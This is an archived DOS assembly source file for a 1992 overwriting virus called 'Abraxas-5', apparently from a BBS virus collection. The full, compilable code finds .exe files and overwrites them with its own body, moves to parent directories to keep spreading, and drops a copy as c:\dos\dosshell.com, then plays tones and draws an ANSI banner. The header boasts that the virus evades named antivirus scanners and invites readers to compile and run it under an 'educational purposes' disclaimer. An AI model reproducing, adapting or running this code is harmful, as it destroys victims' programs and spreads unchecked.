home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / abraxas5.asm < prev    next >
Assembly Source File  |  1992-12-09  |  13KB  |  415 lines

  1. ;*********************************************************
  2. ; ╓──┐ ╥─┐  ╥──┐ ╓──┐ ─╖ ┌ ╓──┐  ╓─┐     ╓───            *
  3. ; ╟──┤ ╟─┴┐ ╟─┬┘ ╟──┤ ╓╨┬┘ ╟──┤  ╙─┐ ─── ╙──┐            *
  4. ; ╨  ┴ ╨──┘ ╨ ┴  ╨  ┴ ╜ └─ ╨  ┴ ╙──┘     ───┘            *
  5. ; ╓──┐ ╓──┐ ╓─╥─┐  │ ╥──┐ ─╖ ┌ ╥──┐     ╥  ┬ ─╖ ┌        *
  6. ; ║    ║  │ ║ ║ │ ┌┘ ╟─   ╓╨┬┘ ╟─       ╙╖┌┘ ╓╨┬┘        *
  7. ; ╙──┘ ╙──┘ ╨ ╨ ┴ │  ╨──┘ ╜ └─ ╨──┘      ╙┘  ╜ └─ o o o  *
  8. ;                                      ->> pAgE <<-      *
  9. ;*********************************************************
  10. ;
  11. ; This is how to professionally hack several programs into
  12. ; a very effective virus. As with any of my viruses, it has
  13. ; been put together ONLY for educational purposes and is not
  14. ; to be used otherwise. Feel free to compile it and run it
  15. ; on your machine. For a HACK, It is really good...
  16. ; As of 12/10/92, it is undetectable by McAfee, F-prot,
  17. ; TBscan, Dr. Solomon's AV Tool Kit, and Virex.
  18. ; Remember! This file is for EDUCATIONAL PURPOSES ONLY !!!
  19. ;
  20. code    segment 'CODE'
  21. assume cs:code,ds:code,es:code,ss:code
  22.  
  23.                 org     0100h
  24.  
  25. code_length     equ     heap-start     ; This is CREDIT to the programmers
  26.                                        ; whose routines I used for Abraxas-5.
  27. START:          CALL    MAIN           ; Hacked off of VCL Yankee Routine
  28. ONE:            CALL    INFECT_FILE    ; Hacked off of the OW Viruses
  29. TWO:            CALL    FIND_NEXT      ; Hacked off the PS-MPC
  30. TWO_AND_A_HALF: CALL    INFECT_FILE    ; Back to the OW hacks
  31. THREE:          CALL    SNEAK          ; Well, this one's mine. :)
  32. THATS_ALL:      CALL    ABRAXAS        ; Hacked off of TheDraw 4.51
  33.  
  34. ;************************************
  35. ;************************************
  36. ;    Make Some Noises  VCL - Pieces
  37. ;************************************
  38. ;************************************
  39.  
  40. main            proc    near
  41.                 nop
  42.                 nop
  43.                 nop
  44.                 nop
  45.                 nop
  46.                 nop
  47.                 nop
  48.                 nop
  49.                 nop
  50.                 nop
  51.                 nop
  52.                 nop
  53.                 nop
  54.                 nop
  55.                 nop
  56.                 nop
  57.                 nop
  58.                 nop
  59.                 nop
  60.                 nop
  61.                 nop
  62.                 nop
  63.                 nop
  64.                 nop
  65.                 nop
  66.                 nop
  67.                 nop
  68.                 nop
  69.                 nop ;
  70.                 mov     si,offset data00
  71. get_note:       mov     bx,[si]
  72.                 or      bx,bx
  73.                 je      play_tune_done
  74.  
  75.                 mov     ax,034DDh
  76.                 mov     dx,0012h
  77.                 cmp     dx,bx
  78.                 jnb     new_note
  79.                 div     bx
  80.                 mov     bx,ax
  81.                 in      al,061h
  82.                 test    al,3
  83.                 jne     skip_an_or
  84.                 or      al,3
  85.                 out     061h,al
  86.                 mov     al,0B6h
  87.                 out     043h,al
  88. skip_an_or:     mov     al,bl
  89.                 out     042h,al
  90.                 mov     al,bh
  91.                 out     042h,al
  92.  
  93.                 mov     bx,[si + 2]
  94.                 xor     ah,ah
  95.                 int     1Ah
  96.                 add     bx,dx
  97. wait_loop:      int     1Ah
  98.                 cmp     dx,bx
  99.                 jne     wait_loop
  100.                 in      al,061h
  101.                 and     al,0FCh
  102.                 out     061h,al
  103.  
  104. new_note:       add     si,4
  105.                 jmp     short get_note
  106. play_tune_done:
  107. endp            main
  108.                 ret
  109.  
  110. ;***************************
  111. ;***************************
  112. ;This is a section that was
  113. ;borrowed from the OW Virus
  114. ;***************************
  115. ;***************************
  116.  
  117. infect_file     proc    near
  118.  
  119.                 Mov cx,2h
  120.                 Mov Ah,4eh                ; DOS Find First
  121.                 Lea Dx,com_Spec           ; Name of file we want
  122.                 Nop                       ; McAfee Break Point
  123.                 Int 21h                   ; Thanks Apache Warrior!
  124.                 Mov Ah,3ch                ; Create it...
  125.                 xor cx,cx
  126.                 Mov Dx,9eh                ; Where the file is
  127.                 Int 21h
  128.                 Mov Bh,40h                ; Write to file. Why BH..
  129.                 Xchg Ax,Bx                ; I dunno... AH, didn't like it.
  130.                 Lea Dx,start              ; Where to Start
  131.                 Mov CX,code_length        ; How much to write
  132.                 Int 21h
  133. endp            infect_file
  134.                 ret
  135.  
  136. find_next       proc    near
  137.                 mov  ah,3bh
  138.                 lea  dx,dot_dot
  139.                 int  21h
  140. endp    find_next
  141.                 RET
  142.  
  143. buffer          dw      ?
  144.  
  145. ;*********************************
  146. ;*********************************
  147. ; This Is My Section Here Too
  148. ;*********************************
  149. ;*********************************
  150.  
  151. sneak           proc near
  152.                 pushf                  ; Save the registers.
  153.                 push ax                ; Why? I dunno...
  154.                 push bx                ; It seemed to make it
  155.                 push cx                ; work smoother.
  156.                 push dx
  157.                 push si
  158.                 push di
  159.  
  160.                 mov  dx,offset file1_name   ; Name of the file
  161.                 xor  cx,cx                  ; create into DX
  162.                 mov  ax,3c02h               ; DOS Create function
  163.                 int  21h                    ; with 002h for Attbs.
  164.                 xchg ax,bx
  165.                 mov  ah,40h
  166.                 mov  cx,code_length         ; How big we are.
  167.                 mov  dx,offset start        ; Where to start writing
  168.                 int  21h
  169.  
  170.                 mov  ah,3eh                 ; Close it up.
  171.                 int  21h
  172.  
  173.                 pop  di                     ; Here we are at this
  174.                 pop  si                     ; register thing again.
  175.                 pop  dx                     ; I don't know what
  176.                 pop  cx                     ; I am doing here, either!
  177.                 pop  bx
  178.                 pop  ax
  179.                 popf
  180. endp            sneak
  181.                 ret
  182. ;**********************************************
  183. ;**********************************************
  184. com_spec        db      "*.exe",0
  185. file1_name      db      "c:\dos\dosshell.com",0
  186. dot_dot         db      "..",0
  187. copyright       db      "MS-DOS (c)1992",0
  188. who_am_i        db      "->>ABRAXAS-5<<--",0
  189. ;**********************************************
  190. ;**********************************************
  191. ; This Piece Came From TheDraw 4.51
  192. ;**********************************************
  193. ;**********************************************
  194.  
  195. abraxas         proc    near
  196. start_abx:
  197.         jmp    short loc_1
  198.         db    90h
  199. data_2        db    0
  200. data_1e        equ    0A0h
  201. data_3        dw    1DDh
  202.         db    2
  203. data_4        dw    0
  204.                 db      '...For he is not of this day'
  205.         db    1Ah
  206. data_5          db      '...Nor he of this mind', 0Dh, 0Ah
  207.         db    '$'
  208. loc_1:
  209.         mov    ah,0Fh
  210.                 int     10h
  211.  
  212.  
  213.         mov    bx,0B800h
  214.         cmp    al,2
  215.                 je      loc_2
  216.         cmp    al,3
  217.                 je      loc_2
  218.         mov    data_2,0
  219.         mov    bx,0B000h
  220.         cmp    al,7
  221.                 je      loc_2
  222.                 mov     dx,offset data_5
  223.         mov    ah,9
  224.                 int     21h
  225.  
  226.         retn
  227. loc_2:
  228.         mov    es,bx
  229.         mov    di,data_4
  230.         mov    si,offset data_6
  231.         mov    dx,3DAh
  232.         mov    bl,9
  233.         mov    cx,data_3
  234.                 cld
  235.                 xor     ax,ax
  236.  
  237. locloop_4:
  238.                 lodsb
  239.         cmp    al,1Bh
  240.                 jne     loc_5
  241.         xor    ah,80h
  242.         jmp    short loc_20
  243. loc_5:
  244.         cmp    al,10h
  245.                 jae     loc_8
  246.         and    ah,0F0h
  247.         or    ah,al
  248.         jmp    short loc_20
  249. loc_8:
  250.         cmp    al,18h
  251.                 je      loc_11
  252.                 jnc     loc_12
  253.         sub    al,10h
  254.         add    al,al
  255.         add    al,al
  256.         add    al,al
  257.         add    al,al
  258.         and    ah,8Fh
  259.         or    ah,al
  260.         jmp    short loc_20
  261. loc_11:
  262.         mov    di,data_4
  263.         add    di,data_1e
  264.         mov    data_4,di
  265.         jmp    short loc_20
  266. loc_12:
  267.         mov    bp,cx
  268.         mov    cx,1
  269.         cmp    al,19h
  270.                 jne     loc_13
  271.                 lodsb
  272.         mov    cl,al
  273.                 mov     al,20h
  274.         dec    bp
  275.         jmp    short loc_14
  276. loc_13:
  277.         cmp    al,1Ah
  278.                 jne     loc_15
  279.                 lodsb
  280.         dec    bp
  281.         mov    cl,al
  282.                 lodsb
  283.         dec    bp
  284. loc_14:
  285.         inc    cx
  286. loc_15:
  287.         cmp    data_2,0
  288.                 je      loc_18
  289.         mov    bh,al
  290.  
  291. locloop_16:
  292.                 in      al,dx
  293.                 rcr     al,1
  294.                 jc      locloop_16
  295. loc_17:
  296.                 in      al,dx
  297.         and    al,bl
  298.                 jnz     loc_17
  299.         mov    al,bh
  300.                 stosw
  301.                 loop    locloop_16
  302.  
  303.         jmp    short loc_19
  304. loc_18:
  305.                 rep     stosw
  306. loc_19:
  307.         mov    cx,bp
  308. loc_20:
  309.                 jcxz    loc_ret_21
  310.                 loop    locloop_4
  311. loc_ret_21:
  312.                 retn
  313. data_6        db    9
  314.         db     10h, 19h, 4Fh, 18h, 19h, 4Fh
  315.         db     18h, 19h, 4Fh, 18h, 19h, 4Fh
  316.         db     18h, 19h, 4Fh, 18h, 19h, 4Fh
  317.         db     18h, 19h, 4Fh, 18h, 19h, 02h
  318.         db     04h, 1Ah, 49h,0DCh, 19h, 02h
  319.         db     18h, 19h, 02h,0DBh, 19h, 47h
  320.         db    0DBh, 19h, 02h, 18h, 19h, 02h
  321.         db    0DBh, 19h, 02h, 08h,0DFh, 04h
  322.         db     1Ah, 04h,0DFh, 19h, 02h, 08h
  323.         db    0DFh, 04h, 1Ah, 05h,0DFh, 19h
  324.         db     02h, 08h,0DFh, 04h, 1Ah, 05h
  325.         db    0DFh, 19h, 03h, 08h,0DFh, 04h
  326.         db     1Ah, 04h,0DFh, 19h, 02h, 08h
  327.         db    0DFh, 04h,0DFh,0DFh, 20h, 20h
  328.         db     08h,0DFh, 04h,0DFh,0DFh, 19h
  329.         db     02h, 08h,0DFh, 04h, 1Ah, 04h
  330.         db    0DFh, 19h, 03h, 08h,0DFh, 04h
  331.         db     1Ah, 04h,0DFh, 19h, 02h,0DBh
  332.         db     19h, 02h, 18h, 19h, 02h,0DBh
  333.         db     20h, 20h, 08h,0DFh, 04h,0DFh
  334.         db    0DFh, 20h, 20h, 08h,0DFh, 04h
  335.         db    0DFh,0DFh, 20h, 20h, 08h,0DFh
  336.         db     04h,0DFh,0DFh, 20h, 20h, 08h
  337.         db    0DFh, 04h,0DFh,0DFh, 20h, 20h
  338.         db     08h,0DFh, 04h,0DFh,0DFh, 20h
  339.         db     20h, 08h,0DFh, 04h,0DFh,0DFh
  340.         db     20h, 20h, 08h,0DFh, 04h,0DFh
  341.         db    0DFh, 20h, 20h, 08h,0DFh, 04h
  342.         db    0DFh,0DFh, 19h, 02h, 08h,0DFh
  343.         db     04h,0DFh,0DFh, 08h,0DFh, 04h
  344.         db    0DFh,0DFh, 19h, 02h, 08h,0DFh
  345.         db     04h,0DFh,0DFh, 20h, 20h, 08h
  346.         db    0DFh, 04h,0DFh,0DFh, 20h, 20h
  347.         db     08h,0DFh, 04h,0DFh,0DFh, 19h
  348.         db     06h,0DBh, 19h, 02h, 18h, 19h
  349.         db     02h,0DBh, 20h, 20h, 08h,0DFh
  350.         db     04h, 1Ah, 06h,0DFh, 20h, 20h
  351.         db     08h,0DFh, 04h, 1Ah, 05h,0DFh
  352.         db     19h, 02h, 08h,0DFh, 04h, 1Ah
  353.         db     05h,0DFh, 19h, 02h, 08h,0DFh
  354.         db     04h, 1Ah, 06h,0DFh, 19h, 03h
  355.         db     08h,0DFh, 04h,0DFh,0DFh,0DFh
  356.         db     19h, 03h, 08h,0DFh, 04h, 1Ah
  357.         db     06h,0DFh, 19h, 02h, 08h,0DFh
  358.         db     04h, 1Ah, 04h,0DFh, 19h, 02h
  359.         db    0DBh, 19h, 02h, 18h, 19h, 02h
  360.         db    0DBh, 20h, 20h, 08h,0DFh, 04h
  361.         db    0DFh,0DFh, 20h, 20h, 08h,0DFh
  362.         db     04h,0DFh,0DFh, 20h, 20h, 08h
  363.         db    0DFh, 04h,0DFh,0DFh, 20h, 20h
  364.         db     08h,0DFh, 04h,0DFh,0DFh, 20h
  365.         db     20h, 08h,0DFh, 04h,0DFh,0DFh
  366.         db     20h, 08h,0DFh, 04h,0DFh,0DFh
  367.         db     19h, 02h, 08h,0DFh, 04h,0DFh
  368.         db    0DFh, 20h, 20h, 08h,0DFh, 04h
  369.         db    0DFh,0DFh, 19h, 02h, 08h,0DFh
  370.         db     04h,0DFh,0DFh, 08h,0DFh, 04h
  371.         db    0DFh,0DFh, 19h, 02h, 08h,0DFh
  372.         db     04h,0DFh,0DFh, 20h, 20h, 08h
  373.         db    0DFh, 04h,0DFh,0DFh, 19h, 06h
  374.         db     08h,0DFh, 04h,0DFh,0DFh, 20h
  375.         db     20h,0DBh, 19h, 02h, 18h, 19h
  376.         db     02h,0DBh, 20h, 20h, 08h,0DFh
  377.         db     04h,0DFh,0DFh, 20h, 20h, 08h
  378.         db    0DFh, 04h,0DFh,0DFh, 20h, 20h
  379.         db     08h,0DFh, 04h, 1Ah, 05h,0DFh
  380.         db     19h, 02h, 08h,0DFh, 04h,0DFh
  381.         db    0DFh, 20h, 20h, 08h,0DFh, 04h
  382.         db    0DFh,0DFh, 20h, 20h, 08h,0DFh
  383.         db     04h,0DFh,0DFh, 20h, 20h, 08h
  384.         db    0DFh, 04h,0DFh,0DFh, 20h, 20h
  385.         db     08h,0DFh, 04h,0DFh,0DFh, 20h
  386.         db     20h, 08h,0DFh, 04h,0DFh,0DFh
  387.         db     20h, 20h, 08h,0DFh, 04h,0DFh
  388.         db    0DFh, 20h, 20h, 08h,0DFh, 04h
  389.         db    0DFh,0DFh, 20h, 20h, 08h,0DFh
  390.         db     04h, 1Ah, 05h,0DFh, 19h, 02h
  391.         db    0DBh, 19h, 02h, 18h, 19h, 02h
  392.         db    0DBh, 1Ah, 47h,0DCh,0DBh, 19h
  393.         db     02h, 18h
  394.  
  395. endp            abraxas
  396.                 ret
  397.                 int     20h
  398.  
  399. data00    dw      100,2,200,2,300,2,400,2
  400.           dw      700,2,800,2,900,2,1000,2,1100,2
  401.           dw      1200,2,1300,2,1400,2,1500,2
  402.           dw      1600,2,1700,2,1800,2,1900,2,2000,2
  403.           dw      2100,2,2200,2,2300,2,2400,2
  404.           dw      2500,2,2600,2,2700,2,2800,2,2900,2
  405.           dw      3000,2,3100,2,3200,2,3300,2
  406.           dw      3400,2,3500,2,3600,2,3700,2,3800,2
  407.           dw      3900,2,4000,2,4100,2,4200,2
  408.           dw      4300,2,4400,2,4500,2,4600,2,4700,2
  409.           dw      4800,2,4900,2,5000,2,5100,2
  410.           dw      5200,2,5300,2,5400,2,5500,2,5600,2
  411.           dw      0
  412. heap            label  near
  413. code            ends
  414.                 end    START
  415.